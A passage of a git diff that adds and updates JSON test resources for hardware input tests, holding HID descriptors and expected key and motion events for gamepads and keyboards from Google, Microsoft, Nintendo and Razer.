+    0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0xf1, 0x05, 0x07, 0x19, 0x00, 0x29, 0xf1, 0x81, 0x00,
+    0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02, 0x75, 0x10, 0x95, 0x02, 0x15, 0x01, 0x26,
+    0x8c, 0x02, 0x19, 0x01, 0x2a, 0x8c, 0x02, 0x81, 0x00, 0xc0
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/google_gamepad_assistkey.json b/tests/tests/hardware/res/raw/google_gamepad_assistkey.json
new file mode 100644
index 0000000..902e017
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_assistkey.json
@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press Voice Assist",
+    "reports": [
+        [0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/google_gamepad_keyevent_media_tests.json b/tests/tests/hardware/res/raw/google_gamepad_keyevent_media_tests.json
new file mode 100644
index 0000000..37b7fb2
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_keyevent_media_tests.json
@@ -0,0 +1,15 @@
+[
+  {
+    "name": "Press BUTTON Play/Pause",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "MEDIA_PLAY_PAUSE"},
+      {"action": "UP", "keycode": "MEDIA_PLAY_PAUSE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/google_gamepad_keyevent_volume_tests.json b/tests/tests/hardware/res/raw/google_gamepad_keyevent_volume_tests.json
new file mode 100644
index 0000000..70f7f24
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_keyevent_volume_tests.json
@@ -0,0 +1,28 @@
+[
+  {
+    "name": "Press BUTTON VOLUME_UP",
+    "reports": [
+        [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "VOLUME_UP"},
+      {"action": "UP", "keycode": "VOLUME_UP"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON VOLUME_DOWN",
+    "reports": [
+        [0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "VOLUME_DOWN"},
+      {"action": "UP", "keycode": "VOLUME_DOWN"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/google_gamepad_usb_register.json b/tests/tests/hardware/res/raw/google_gamepad_usb_register.json
new file mode 100644
index 0000000..c6d4a17
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_usb_register.json
@@ -0,0 +1,23 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Generic Gamepad with Voice Command buttons",
+  "vid": 0x18d1,
+  "pid": 0xabcd,
+  "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x05, 0xA1, 0x01, 0x05, 0x0C, 0x81, 0x01, 0x09, 0xCD,
+    0x09, 0xE9, 0x09, 0xEA, 0x09, 0xCF, 0x05, 0x09, 0x09, 0x01, 0x09, 0x02,
+    0x09, 0x04, 0x09, 0x05, 0x09, 0x07, 0x09, 0x08, 0x09, 0x0E, 0x09, 0x0F,
+    0x09, 0x0B, 0x09, 0x0C, 0x09, 0x0D, 0x75, 0x01, 0x95, 0x0F, 0x81, 0x02,
+    0x75, 0x01, 0x95, 0x01, 0x81, 0x01, 0x05, 0x01, 0x75, 0x10, 0x95, 0x02,
+    0x16, 0x00, 0x80, 0x26, 0xFF, 0x7F, 0x36, 0x00, 0x80, 0x46, 0xFF, 0x7F,
+    0x09, 0x01, 0xA1, 0x00, 0x09, 0x30, 0x09, 0x31, 0x95, 0x02, 0x81, 0x02,
+    0xC0, 0x09, 0x01, 0xA1, 0x00, 0x09, 0x33, 0x09, 0x34, 0x95, 0x02, 0x81,
+    0x02, 0xC0, 0x75, 0x08, 0x95, 0x02, 0x15, 0x00, 0x26, 0xFF, 0x00, 0x35,
+    0x00, 0x46, 0xFF, 0x00, 0x09, 0x32, 0x09, 0x35, 0x81, 0x02, 0x06, 0x00,
+    0xFF, 0x75, 0x08, 0x95, 0x08, 0x26, 0xFF, 0x00, 0x09, 0x02, 0x91, 0x02,
+    0x75, 0x08, 0x95, 0x30, 0x26, 0xFF, 0x00, 0x09, 0x03, 0xB1, 0x02, 0xC0
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
index 263b14d..26a8c83 100644
--- a/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,
   "pid": 0x0806,
   "bus": "bluetooth",
+  "source": "KEYBOARD | DPAD | JOYSTICK",
   "descriptor": [
     0x06, 0xbc, 0xff, 0x09, 0x88, 0xa1, 0x01, 0x85, 0x22, 0x06, 0x00, 0xff,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x13, 0x0a, 0x0a, 0xfa,
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
index cfb7d4b..b6d9680 100644
--- a/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
@@ -92,31 +92,31 @@
     "events": [
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": 1}
+        "axes": {"AXIS_X": 1, "AXIS_RELATIVE_X": 1}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": 768}
+        "axes": {"AXIS_X": 768, "AXIS_RELATIVE_X": 768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": -768}
+        "axes": {"AXIS_X": -768, "AXIS_RELATIVE_X": -768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_Y": 768}
+        "axes": {"AXIS_Y": 768, "AXIS_RELATIVE_Y": 768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_Y": -768}
+        "axes": {"AXIS_Y": -768, "AXIS_RELATIVE_Y": -768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": 768, "AXIS_Y": 768}
+        "axes": {"AXIS_X": 768, "AXIS_Y": 768, "AXIS_RELATIVE_X": 768, "AXIS_RELATIVE_Y": 768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": -768, "AXIS_Y": -768}
+        "axes": {"AXIS_X": -768, "AXIS_Y": -768, "AXIS_RELATIVE_X": -768, "AXIS_RELATIVE_Y": -768}
       }
     ]
   }
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
index 8ee16b4..c050b65 100644
--- a/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,
   "pid": 0x077c,
   "bus": "bluetooth",
+  "source": "KEYBOARD | DPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x02,
     0x85, 0x1a, 0x09, 0x01, 0xa1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x05,
diff --git a/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json b/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
index 36e1a96..01e6147 100755
--- a/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,
   "pid": 0x0b13,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30, 0x09, 0x31,
     0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0x09, 0x01,
diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_register.json b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
index d789297..7079901 100755
--- a/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,

   "pid": 0x02fd,

   "bus": "bluetooth",

+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",

   "descriptor": [

     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,

     0x09, 0x31, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0,

diff --git a/tests/tests/hardware/res/raw/nintendo_switchpro_register.json b/tests/tests/hardware/res/raw/nintendo_switchpro_register.json
index d1b1939..3f3142a 100644
--- a/tests/tests/hardware/res/raw/nintendo_switchpro_register.json
+++ b/tests/tests/hardware/res/raw/nintendo_switchpro_register.json
@@ -5,6 +5,7 @@
   "vid": 0x057e,
   "pid": 0x2009,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x06, 0x01, 0xff, 0x85, 0x21, 0x09, 0x21,
     0x75, 0x08, 0x95, 0x30, 0x81, 0x02, 0x85, 0x30, 0x09, 0x30, 0x75, 0x08, 0x95, 0x30, 0x81,
     0x02, 0x85, 0x31, 0x09, 0x31, 0x75, 0x08, 0x96, 0x69, 0x01, 0x81, 0x02, 0x85, 0x32, 0x09,
@@ -50,7 +51,25 @@
     },
     {
       "description": "Ack for 'set player led' (0x30)",
-      "output": [0x1, 0x4, 0x0, 0x1, 0x40, 0x40, 0x0, 0x1, 0x40, 0x40, 0x30, 0xf],
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0xf],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
+        0x30]
+    },
+    {
+      "description": "Ack for 'set player led' (0x30)",
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x7],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
+        0x30]
+    },
+    {
+      "description": "Ack for 'set player led' (0x30)",
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x3],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
+        0x30]
+    },
+    {
+      "description": "Ack for 'set player led' (0x30)",
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x1],
       "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
         0x30]
     },
@@ -60,6 +79,18 @@
         0x11],
       "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb,
         0x1, 0x38]
+    },
+    {
+      "description": "USB Handshake",
+      "output": [0x80, 0x2],
+      "response": [0x81, 0x2]
+    },
+    {
+      "description": "Ack for 'request calibration' (0x10)",
+      "output": [0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x3d, 0x60, 0, 0, 0x12],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb,
+        0x0, 0x0, 0x00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
+        0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
     }
   ]
 }
diff --git a/tests/tests/hardware/res/raw/razer_junglecat_keyeventtests.json b/tests/tests/hardware/res/raw/razer_junglecat_keyeventtests.json
new file mode 100644
index 0000000..06af08c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_junglecat_keyeventtests.json
@@ -0,0 +1,158 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press Left Stick Thumb Button",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press Right Stick Thumb Button",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_junglecat_motioneventtests.json b/tests/tests/hardware/res/raw/razer_junglecat_motioneventtests.json
new file mode 100644
index 0000000..11f088d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_junglecat_motioneventtests.json
@@ -0,0 +1,184 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+        [0x01, 0x3f, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+        [0x01, 0xc0, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+        [0x01, 0x80, 0x3f, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+        [0x01, 0x80, 0xc0, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x3f, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+        [0x01, 0x80, 0x80, 0xc0, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x3f, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_junglecat_register.json b/tests/tests/hardware/res/raw/razer_junglecat_register.json
new file mode 100644
index 0000000..9edcc66
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_junglecat_register.json
@@ -0,0 +1,22 @@
+{
+    "id": 1,
+    "command": "register",
+    "name": "Razer Junglecat (Bluetooth Test)",
+    "vid": 0x1532,
+    "pid": 0x0709,
+    "bus": "bluetooth",
+    "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09,
+        0x32, 0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09,
+        0x39, 0x15, 0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95,
